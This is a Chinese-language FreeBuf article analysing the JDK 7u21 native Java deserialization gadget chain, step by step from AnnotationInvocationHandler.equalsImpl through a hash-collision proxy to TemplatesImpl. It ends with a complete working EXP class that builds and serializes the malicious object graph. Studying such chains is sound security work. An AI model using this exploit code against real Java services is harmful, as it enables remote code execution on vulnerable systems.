freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

jdk7u21原生反序列化
2024-12-01 03:37:29
所属地 湖北省

这条利用链是JDK7u21,它适用于Java 7u21及以前的版本。

漏洞核心

漏洞核心在于sun.reflect.annotation.AnnotationInvocationHandler的equalsImpl方法。

private Boolean equalsImpl(Object var1) {
    if (var1 == this) {
        return true;
    } else if (!this.type.isInstance(var1)) {
        return false;
    } else {
        Method[] var2 = this.getMemberMethods();
        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            Method var5 = var2[var4];
            String var6 = var5.getName();
            Object var7 = this.memberValues.get(var6);
            Object var8 = null;
            AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
            if (var9 != null) {
                var8 = var9.memberValues.get(var6);
            } else {
                try {
                    var8 = var5.invoke(var1);
                } catch (InvocationTargetException var11) {
                    return false;
                } catch (IllegalAccessException var12) {
                    throw new AssertionError(var12);
                }
            }

            if (!memberValueEquals(var7, var8)) {
                return false;
            }
        }

        return true;
    }
}

在这个方法中,存在一个对方法的反射调用var5.invoke(var1),var1来自参数,var5则是遍历this.getMemberMethods()方法返回的方法数组。

private Method[] getMemberMethods() {
    if (this.memberMethods == null) {
        this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
            public Method[] run() {
                Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
                AccessibleObject.setAccessible(var1, true);
                return var1;
            }
        });
    }

    return this.memberMethods;
}

AnnotationInvocationHandler.this.type.getDeclaredMethods()会获取当前的type属性的所有方法。对于java自带的类,我们可以优先考虑到TemplatesImpl链,也就是如果type中仅有触发TemplatesImpl链的方法,那么就可以用equalsImpl函数来反射走到TemplatesImpl链。我们可以用到Templates接口类,该类的两个方法newTransformergetOutputProperties都可以作为TemplatesImpl链的触发方法。

利用动态代理调用equalsImpl

equalsImplAnnotationInvocationHandler中作为一个私有方法,我们无法直接去调用,但是,我们可以在AnnotationInvocationHandler唯一的公共方法,invoke中调用equalsImpl

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } 
    ......
}

关于如何调用到AnnotationInvocationHandler#invoke方法其实并不陌生,这是动态代理的基础知识。我们可以构造一个动态代理Proxy,通过调用这个代理的方法来触发invoke,不过我们需要通过一次判断,也就是调用这个代理的方法必须是equal方法,并且需要有一个Object对象作为参数

可以看到的是,我们给equalsImpl的参数是调用动态代理方法的第一个参数,那么我们满足的条件是

  • AnnotationInvocationHandlertype属性是Templates接口类

  • 调用构造的AnnotationInvocationHandler动态代理的equal方法

  • equal方法的第一个参数是恶意TemplatesImpl

可以编写一个简单的demo来完成上面的内容

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class demo {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        //构造恶意TemplatesImpl类
        TemplatesImpl templates = new TemplatesImpl();

        byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\java_payload\\jdk7u21.class"));
        byte[][] evilcode = {evil};

        Field name = templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"cmisl");

        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,evilcode);

        Field tfactory = templates.getClass().getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        //代理的AnnotationInvocationHandler类所需的第二个参数,避免调用其get方法报错
        HashMap<String, Object> hashMap = new HashMap<>();
        hashMap.put("cmisl","cmisl");

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class,Map.class);
        declaredConstructor.setAccessible(true);

        //Templates.class作为第一个参数,只有两个方法,getOutputProperties和Templates,且都可以造成恶意代码执行
        Object o = declaredConstructor.newInstance(Templates.class,hashMap);

        //创建动态代理,AnnotationInvocationHandler作为代理类,方便走到其invoke方法
        Map ProxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, (InvocationHandler) o);

        ProxyMap.equals(templates);
    }
}

要注意的是jdk7u21类需要实现AbstractTranslet接口

_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
    _transletIndex = i;
}

TemplatesImpl#defineTransletClasses方法中会判断字节码反编译出的恶意类的父类是否等于ABSTRACT_TRANSLET,其值等于com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

调用代理实例ProxyMap的equals方法

根据上面分析,我们需要调用代理实例ProxyMapequals方法,这个方法每个类都有,用于比较是否相等,来自于所有类的父类Object

我们常见的一个场景,在HashMapput方法中,可以看到equals方法的身影,因为HashMap是一个类似链表数组的结构,当索引值相等的时候,会在那一个索引下的链表里遍历比较要put的这个key和链表中已经存在的key是否相等,这里就会调用equals方法去判断。

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

在上面的代码中,索引值是i,基于hash值和table.length值计算,不过table.length在开始会设置为16,只要我们hashMap里面元素不超过16个就不会变。因此,我们需要做的就是让hash值相等。我们来关注一下计算部分的实现代码。

final int hash(Object k) {
    int h = 0;
    if (useAltHashing) {
        if (k instanceof String) {
            return sun.misc.Hashing.stringHash32((String) k);
        }
        h = hashSeed;
    }

    h ^= k.hashCode();

    // This function ensures that hashCodes that differ only by
    // constant multiples at each bit position have a bounded
    // number of collisions (approximately 8 at default load factor).
    h ^= (h >>> 20) ^ (h >>> 12);
    return h ^ (h >>> 7) ^ (h >>> 4);
}

除了k.hashCode(),其他都是固定的。我们现在要做的就是让,ProxyMap.hashCode()templates.hashCode()相等。而ProxyMap.hashCode()会自动调用到AnnotationInvocationHandler#invoke方法,然后再调用到hashCodeImpl方法。

private int hashCodeImpl() {
    int var1 = 0;

    Map.Entry var3;
    for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
        var3 = (Map.Entry)var2.next();
    }

    return var1;
}

会循环遍历当前memberValues,简化一下式子就是计算每个keyvalue(127 * key.hashCode()) ^value.hashCode(),然后累加,如果memberValues中只有一个key和一个value时,该哈希就等于(127 * key.hashCode())^value.hashCode(),而如果key.hashCode(),哈希又可以简化成value.hashCode(),如果这个value就是我们构造的恶意TemplateImpl对象templates,那么就可以使得ProxyMap.hashCode()templates.hashCode()相等。

所以我们需要的是让memberValues为一个只有一个键值对,且键的hashCode等于0,valuetemplates,即可。这个键要等于f5a5a608,这个memberValues是我们构造函数传入的hashmap,不过我们需要提前用其他值占据value的位置,在将ProxyMap放进了我们的恶意HashMap后,在替换回来,避免在ProxyMap放入的过程中,提前调用equals进入TemplatesImpl链。

那么我们可以编写一个小demo

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class demo3 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        //构造恶意TemplatesImpl类
        TemplatesImpl templates = new TemplatesImpl();

        byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\java_payload\\jdk7u21.class"));
        byte[][] evilcode = {evil};

        Field name = templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"cmisl");

        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,evilcode);

        Field tfactory = templates.getClass().getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class,Map.class);
        declaredConstructor.setAccessible(true);

        //代理的AnnotationInvocationHandler类所需的第二个参数,避免调用其get方法报错
        HashMap hashMap = new HashMap();
        //随意用一个字符串占位
        hashMap.put("f5a5a608","cmisl");

        //Templates.class作为第一个参数,只有两个方法,getOutputProperties和Templates,且都可以造成恶意代码执行
        Object o = declaredConstructor.newInstance(Templates.class,hashMap);

        //创建动态代理,AnnotationInvocationHandler作为代理类,方便走到其invoke方法
        Map ProxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, (InvocationHandler) o);

        //将之前占位的value值替换成templates,避免真正exp过程中出现提前触发TemplatesImpl链
        hashMap.put("f5a5a608",templates);

        HashMap evilmap = new HashMap();
        evilmap.put(templates,null);
        evilmap.put(ProxyMap,null);

    }
}

另一种方式调用equals方法

在上面介绍了HashMap.put这个方法,但是这里,我并不打算调用这个方法。在HashMap的另一个方法——HashMap#putForCreate

private void putForCreate(K key, V value) {
    int hash = null == key ? 0 : hash(key);
    int i = indexFor(hash, table.length);

    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash &&
            ((k = e.key) == key || (key != null && key.equals(k)))) {
            e.value = value;
            return;
        }
    }

    createEntry(hash, key, value, i);
}

这个方法逻辑与我们HashMap.put几乎差不多,上面put能实现的demo用putForCreate也可以,只是是私有方法,需要反射调用,将上面demo修改一下即可。

evilmap.put(templates,null);
evilmap.put(ProxyMap,null);

//将上面两行修改成下面代码

Method putForCreate = HashMap.class.getDeclaredMethod("putForCreate", Object.class, Object.class);
putForCreate.setAccessible(true);
putForCreate.invoke(evilmap,templates,null);
putForCreate.invoke(evilmap,ProxyMap,null);

为什么我想到用这个方法呢,因为这个方法在HashMap#readObject函数中调用了。我们来看一下

private void readObject(java.io.ObjectInputStream s)
     throws IOException, ClassNotFoundException
{
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                           loadFactor);

    // set hashSeed (can only happen after VM boot)
    Holder.UNSAFE.putIntVolatile(this, Holder.HASHSEED_OFFSET,
            sun.misc.Hashing.randomHashSeed(this));

    // Read in number of buckets and allocate the bucket array;
    s.readInt(); // ignored

    // Read number of mappings
    int mappings = s.readInt();
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                           mappings);

    int initialCapacity = (int) Math.min(
            // capacity chosen by number of mappings
            // and desired load (if >= 0.25)
            mappings * Math.min(1 / loadFactor, 4.0f),
            // we have limits...
            HashMap.MAXIMUM_CAPACITY);
    int capacity = 1;
    // find smallest power of two which holds all mappings
    while (capacity < initialCapacity) {
        capacity <<= 1;
    }

    table = new Entry[capacity];
    threshold = (int) Math.min(capacity * loadFactor, MAXIMUM_CAPACITY + 1);
    useAltHashing = sun.misc.VM.isBooted() &&
            (capacity >= Holder.ALTERNATIVE_HASHING_THRESHOLD);

    init();  // Give subclass a chance to do its thing.

    // Read the keys and values, and put the mappings in the HashMap
    for (int i=0; i<mappings; i++) {
        K key = (K) s.readObject();
        V value = (V) s.readObject();
        putForCreate(key, value);
    }
}

在最后可以看到我们反序列化是会将keyvalue值分别反序列化出来,然后用putForCreate(key, value)函数将反序列化出来的键值对给添加到HashMap中。那么就可以直接从反序列化的入口走到equals。接下来我们编写EXP。

EXP

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class EXP {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        //构造恶意TemplatesImpl类
        TemplatesImpl templates = new TemplatesImpl();

        byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\java_payload\\jdk7u21.class"));
        byte[][] evilcode = {evil};

        Field name = templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"cmisl");

        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,evilcode);

        Field tfactory = templates.getClass().getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class,Map.class);
        declaredConstructor.setAccessible(true);

        //代理的AnnotationInvocationHandler类所需的第二个参数,避免调用其get方法报错
        HashMap hashMap = new HashMap();
        //随意用一个字符串占位
        hashMap.put("f5a5a608","cmisl");

        //Templates.class作为第一个参数,只有两个方法,getOutputProperties和Templates,且都可以造成恶意代码执行
        Object o = declaredConstructor.newInstance(Templates.class,hashMap);

        //创建动态代理,AnnotationInvocationHandler作为代理类,方便走到其invoke方法
        Map ProxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, (InvocationHandler) o);

        //将之前占位的value值替换成templates,避免真正exp过程中出现提前触发TemplatesImpl链
        hashMap.put("f5a5a608",templates);

        HashMap evilmap = new HashMap();

        evilmap.put(ProxyMap,null);
        evilmap.put(templates,null);

        serialize(evilmap);
        deserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object deserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

ysoserial上用的是HashSet作为入口,更具体一点是LinkedHashSet,原理其实差不多,从HashSet#readObjectHashMap#put

# JAVA安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录